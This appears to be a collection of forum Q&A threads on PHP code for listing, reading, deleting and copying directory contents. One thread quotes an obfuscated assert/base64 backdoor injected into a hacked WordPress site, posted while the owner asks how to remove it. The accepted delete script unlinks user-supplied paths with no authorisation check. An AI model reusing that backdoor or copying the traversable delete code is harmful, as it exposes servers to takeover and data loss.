I have a basic PHP script that displays the file contents of a directory. Here is the script:
<?php
$Dept = "deptTemplate";
if(isset($_REQUEST['dir'])) {
$current_dir = $_REQUEST['dir'];
} else {
$current_dir = 'docs';
}
if ($handle = opendir($current_dir)) {
while (false !== ($file_or_dir = readdir($handle))) {
if(in_array($file_or_dir, array('.', '..'))) continue;
$path = $current_dir.'/'.$file_or_dir;
if(is_file($path)) {
echo '`'.$file_or_dir.' - [Delete button/link]<br/>`';
} else {
echo '``'.$file_or_dir."\n`` - [Delete button/link]`<br/>`";
}
}
closedir($handle);
}
?>
I am trying to create a delete link/button that displays next to each file and when clicked, the corresponding file will be deleted. Would you know how to do this?
Use the built-in unlink($filepath) function.
Sure, you'd have to use unlink() and rmdir(), and you'd need a recursive directory removal function because rmdir() doesn't work on directories with files in them. You'd also want to make sure that the deletion script is really secure to stop people from just deleting everything.
Something like this for the recursive function:
function Remove_Dir($dir)
{
$error = array();
if(is_dir($dir))
{
$files = scandir($dir); //scandir() returns an array of all files/directories in the directory
foreach($files as $file)
{
$fullpath = $dir . "/" . $file;
if($file == '..' || $file == '.')
{
continue; //Skip if ".." or "."
}
elseif(is_dir($fullpath))
{
Remove_Dir($fullpath); //recursively remove nested directories if directory
}
elseif(is_file($fullpath))
{
unlink($fullpath); //Delete file otherwise
}
else
{
$error[] = 'Error on ' . $fullpath . '. Not Directory or File.' //Should be impossible error, because everything in a directory should be a file or directory, or . or .., and thus should be covered.
}
}
$files = scandir($dir); //Check directory again
if(count($files) > 2) //if $files contains more than . and ..
{
Remove_Dir($dir);
}
else
{
rmdir($dir); //Remove directory once all files/directories are removed from within it.
}
if(count($error) != 0)
{return $error;}
else
{return true;}
}
}
Then you just need to pass the file or directory to be deleted through GET or something to the script, probably require urlencode() or something for that, make sure that it's an authorized user with permissions to delete trying to delete the stuff, and unlink() if it's a file, and Remove_Dir() if it's a directory.
You should have to prepend the full path to the directory or file to the directory/file in the script before removing the directory/file.
Some things you'll want for security is firstly making sure that the deletion is taking place in the place it's supposed to, so someone can't do ?dir=/ or something and attempt to delete the entire filesystem from root, which can probably be circumvented by prepending the appropriate path onto the input with something like $dir = '/home/user/public_html/directories/' . $_GET['dir'];, of course then they can potentially delete everything in that path, which means that you need to make sure that the user is authorized to do so.
Need to keep periodic backups of files just in case.
Something like this? Not tested...
<?php
echo '`'.$file_or_dir.' - [Delete button/link]<br/>`';
?>
<?php
if ($_GET['del'] == 1 && isset($_GET['file_or_dir']){
unlink ("path/".$_GET['file_or_dir']);
}
?>
I've worked it out:
I added this delete link on the end of each listed file in the original script:
- < a href="delete.php?file='.$file_or_dir.'&dir=' . $dir . '"> Delete< /a>< br/>';
This link takes me to the download script page, which looked like this:
<?php
ob_start();
$file = $_GET["file"];
$getDir = $_GET["dir"];
$dir = 'docs/' . $getDir . '';
$isFile = ($dir == "") ? 'docs/' . $file . '' : '' . $dir . '/' . $file . '';
if (is_file($isFile)){
if ($dir == "")
unlink('docs/' . $file . '');
else
unlink('' . $dir . '/' . $file . '');
echo '' . $file . ' deleted';
echo ' from ' . $dir . '';
}
else{
rmdir('' . $dir . '/' . $file . '');
echo '' . $dir . '/' . $file . ' deleted';}
header("Location: indexer.php?p=" . $getDir . "");
ob_flush();
?>
It all works brilliantly now, thank you all for your help and suggestions :)
Related
Long story short, my server was infected through an old wordpress install. I found the leak and now I have to clean up all of the affected files. All files that were affected were given a block of code, which is the same across all affected files.
I'm trying to loop through my server directory, search for this block of code then delete it and save the file.
There are a couple of problems that might make this hard.
The stuff I'm looking for is PHP code and I'm not sure the way I'm doing this will look for a specific string in a code block, rather it will only look for strings
My host has changed the permissions on any of these files to 200, so I need to change these to 604 or 777 (temporarily) to be able to open, change and save the files.
This is what I have so far:
function getDirContents($dir, $mal) {
$files = scandir($dir);
foreach($files as $file) {
if($file == "." || $file == "..") continue;
if(!is_file($dir . $file)){
//echo "Folder: " . $dir . $file . "<br />";
getDirContents($dir.$file."/", $mal);
} else {
//echo "File: " . $dir . $file . "<br />";
$content = file_get_contents($dir . $file);
if (strpos($content, $mal) !== false) {
echo "FOUND" . $dir.$file . "<br>";
}
}
}
}
$dir = "./";
$mal = "//###=CACHE START=###";
getDirContents($dir, $mal);
So, I am searching for this specific comment: //###=CACHE START=###. This is the same in every affected file, but I can not seem to search for it.
I haven't gotten to the deleting of the code block yet, but I am trying to remove this from each file:
//###=CACHE START=###
error_reporting(0);
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as";$strings .= "sert"; $strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvEcpPN9VPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqBjbxqKWfVQ0tVzu0qUN6Yl8kAwDhZGZlYwD0YwR4BP9aMKDhpTujC2yjCFVhqKWfMJ5wo2EyXPEcpPxhVvMxCFVhqKWfMJ5wo2EyXPExXF4vWaH9Vv51pzkyozAiMTHbWUHcYvVzLm0vYvEwYvVznG0kWzt9Vv5gMQHbVwt2LGV2ZmWxZGp0MGIvAJV2ZJVjAGpmZJV5LwOyZGOzVv4xMP4xqF4xLl4vZFVcBjccMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsFOyoUAynJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWUWyp3IfqPN9VTA1pzksMKuyLltxL2tcBjcwqKWfK2Afo3AyXPEwnPx7PvEcLaLtCFNxpzImqJk0Bjc9VTIfp2HtrjbxMaNtCFOzp29wn29jMJ4bVwR2AP4kZmVhAQDhZGt4VvjtBQNfVPEypaWholjtWTIlpaA0pvjtZmNcBjccMvNbWTMjXFO7PvNtVPNxo3I0VQ0tVxqSIPNiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxnKNcYvVzMQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV4AzRlAwZlMQR3ATH1LwIvAwSvZQH3ZmSvBJVjMGRjMvVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvNkAwDhZGZlYwD0YwR4BSklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVzSuZmR3MzWzVvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
//###=CACHE END=###
Any advice?
I want to be able to list all the directories, subdirectories and files in the "./" folder ie the project folder called fileSystem which contains this php file scanDir.php.
You can view the directory system I've got here:
At the minute it will only return the subdirectory folders/files in the root of the mkdir directory but not any folders inside that subdirectory.
How do I modify the code so that it demonstrates all the files, directories, subdirectories and their files and subdirectories within the fileSystem folder given that the php file being run is called scanDir.php and the code for that is provided below.
Here is the php code:
$path = "./";
if(is_dir($path))
{
$dir_handle = opendir($path);
//extra check to see if it's a directory handle.
//loop round one directory and read all it's content.
//readdir takes optional parameter of directory handle.
//if you only scan one single directory then no need to passs in argument.
//if you are then going to scan into sub-directories the argument needs
//to be passed into readdir.
while (($dir = readdir($dir_handle))!== false)
{
if(is_dir($dir))
{
echo "is dir: " . $dir . "<br>";
if($dir == "mkdir")
{
$sub_dir_handle = opendir($dir);
while(($sub_dir = readdir($sub_dir_handle))!== false)
{
echo "--> --> contents=$sub_dir <br>";
}
}
}
elseif(is_file($dir))
{
echo "is file: " . $dir . "<br>" ;
}
}
closedir($dir_handle); //will close the automatically open dir.
}
else {
echo "is not a directory";
}
Use scandir to see all stuff in the directory and is_file to check if the item is file or next directory, if it is directory, repeat the same thing over and over.
So, this is completely new code.
function listIt($path) {
$items = scandir($path);
foreach($items as $item) {
// Ignore the . and .. folders
if($item != "." AND $item != "..") {
if (is_file($path . $item)) {
// this is the file
echo "-> " . $item . "<br>";
} else {
// this is the directory
// do the list it again!
echo "---> " . $item;
echo "<div style='padding-left: 10px'>";
listIt($path . $item . "/");
echo "</div>";
}
}
}
}
echo "<div style='padding-left: 10px'>";
listIt("/");
echo "</div>";
You can see the live demo here in my webserver, btw, I will keep this link just for a second
When you see the "->" it's an file and "-->" is a directory
The pure code with no HTML:
function listIt($path) {
$items = scandir($path);
foreach($items as $item) {
// Ignore the . and .. folders
if($item != "." AND $item != "..") {
if (is_file($path . $item)) {
// this is the file
// Code for file
} else {
// this is the directory
// do the list it again!
// Code for directory
listIt($path . $item . "/");
}
}
}
}
listIt("/");
the demo can take a while to load, it's a lot of items.
There are some powerful builtin functions for PHP to find files and folders, personally I like the recursiveIterator family of classes.
$startfolder=$_SERVER['DOCUMENT_ROOT'];
$files=array();
foreach( new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $startfolder, RecursiveDirectoryIterator::KEY_AS_PATHNAME ), RecursiveIteratorIterator::CHILD_FIRST ) as $file => $info ) {
if( $info->isFile() && $info->isReadable() ){
$files[]=array('filename'=>$info->getFilename(),'path'=>realpath( $info->getPathname() ) );
}
}
echo '<pre>',print_r($files,true),'</pre>';
i have a folder with some folder names, for example 3 folders:
2012-2013, 2013-2014 ,2014-2015
is any way with some php code, to show the names folders in my php like this:
<option value="2012-2013">2012-2013</option>
<option value="2013-2014">2013-2014</option>
<option value="2014-2015">2014-2015</option>
untill I use to show the stuff with php-foreach using a html-template inside the folders.
but i want to show direct the stuff without using the template in the data-folder, is any way? thx.
I suppose you want to recursive the folder in a directory. Below please find the code.
<?php
$folder_name = "c:\\your_folder\\";
$folders = scandir($folder_name);
echo '<select>';
foreach($folders as $folder){
if (is_dir($folder_name . $folder)){
if ($folder != '.' && $folder != '..')
echo '<option value="' . $folder . '">' . $folder . '</option>';
}
}
echo '</select>';
?>
You need to read the directory and print an option tag for each time you find a file that is a folder.
first thing you need to open file handler to your directory by giving the main folder path, than itterate over the directory by using the read method on the folder handler.
By using the "is_dir" function you can determine if the file is a folder, and if so print the file.
I added my solution which is recursive.
function printFolders($path = "", $c = 0) {
if ( empty($path) || !is_dir($path) )
{
return false;
}
//Folder handler
$handler = dir($path);
//Read each file name inside the directory
while(($file = $handler->read()) !== false)
{
// "." is the current folder and ".." is the parent folder
// We skip those folders
if ( $file == "." || $file == ".." )
{
continue;
}
// The current file path
$filePath = $path . "/" . $file;
if ( is_dir($filePath) )
{
//Just to make things more pretty
for($i=0; $i<=$c; $i++) {echo "-";}
//Printing the folder name
echo $file . "<br>";
//Calling the function again with the folder we found
printFolders($filePath, $c+1);
}
}
}
printFolders("path/to/folder");
This is actually is an easy task
I want to display contents of all files located in specified folder.
I am passing directory name
echo "<a href='see.php?qname=". $_name ."'>" . $row["qname"] . "</a>";
on second page ,
I am iterating over the directory content
while($entryname = readdir($myDirectory))
{
if(is_dir($entryname))
{
continue;
}
if($entryname=="." || $entryname==".." )
{}
else
{
if(!is_dir($entryname))
{
$fileHandle=fopen($entryname, "r");
while (!feof($fileHandle) ) {
$line = fgets($fileHandle);
echo $line . "<br />";
}
.
.
.
but I am unable to read any file , I have changed their permissions as well.
I tried putting directory name statically which worked,
Can someone suggest what am I doing wrong?
$entryname will contain JUST the filename, with no path information. You have to manually rebuild the path yourself. e.g.
$dh = opendir('/path/you/want/to/read/');
while($file = readdir($dh)) {
$contents = file_get_contents('/path/you/want/to/read/' . $file);
^^^^^^^^^^^^^^^^^^^^^^^^^^---include path here
}
Without the explicit path in your "read the file code", you're trying to open and read a file in the script's current working directory, not the director you're reading the filenames from.
Much simpler:
foreach(glob("$myDirectory/*") as $file) {
foreach(file($file) as $line) {
echo $line . "<br />";
}
}
Even simpler:
foreach(glob("$myDirectory/*") as $file) {
echo nl2br(file_get_contents($file));
}
I've been searching all morning for this.
Is there a simple PHP function that will duplicate a folder on my server, changing permissions temporarily along the way if needs be? Basically a PHP alternative to me using FTP to copy an entire folder down and then back up again?
I've tried the function below that I found online, but it does nothing I think probably due to permissions. I have tried it with error_reporting(E_ALL); and also checked the return value of each copy(), they all return false.
copy_directory('/directory1','/directory2')
function copy_directory($src,$dst) {
$dir = opendir($src);
#mkdir($dst);
while(false !== ( $file = readdir($dir)) ) {
if (( $file != '.' ) && ( $file != '..' )) {
if ( is_dir($src . '/' . $file) ) {
copy_directory($src . '/' . $file,$dst . '/' . $file);
}
else {
copy($src . '/' . $file,$dst . '/' . $file);
}
}
}
closedir($dir);
}
After posting the bounty I received a reply to a server support ticket that confirmed my belief that permissions were the problem.
A simple change on the server side to give PHP copy permission solved this issue.
How about checking for the duplicate in your code someway along these lines?
<?php
if(!file_exists($dst)) {
mkdir($dst);
}
else {
$i = 1;
$duplicate_folder = true;
while ($duplicate_folder == true) {
if(file_exist($dst) {
$new_dst = $dst."_".$i;
mkdir($new_dst);
$i++;
}
else {
$duplicate_folder = false;
}
}
}
?>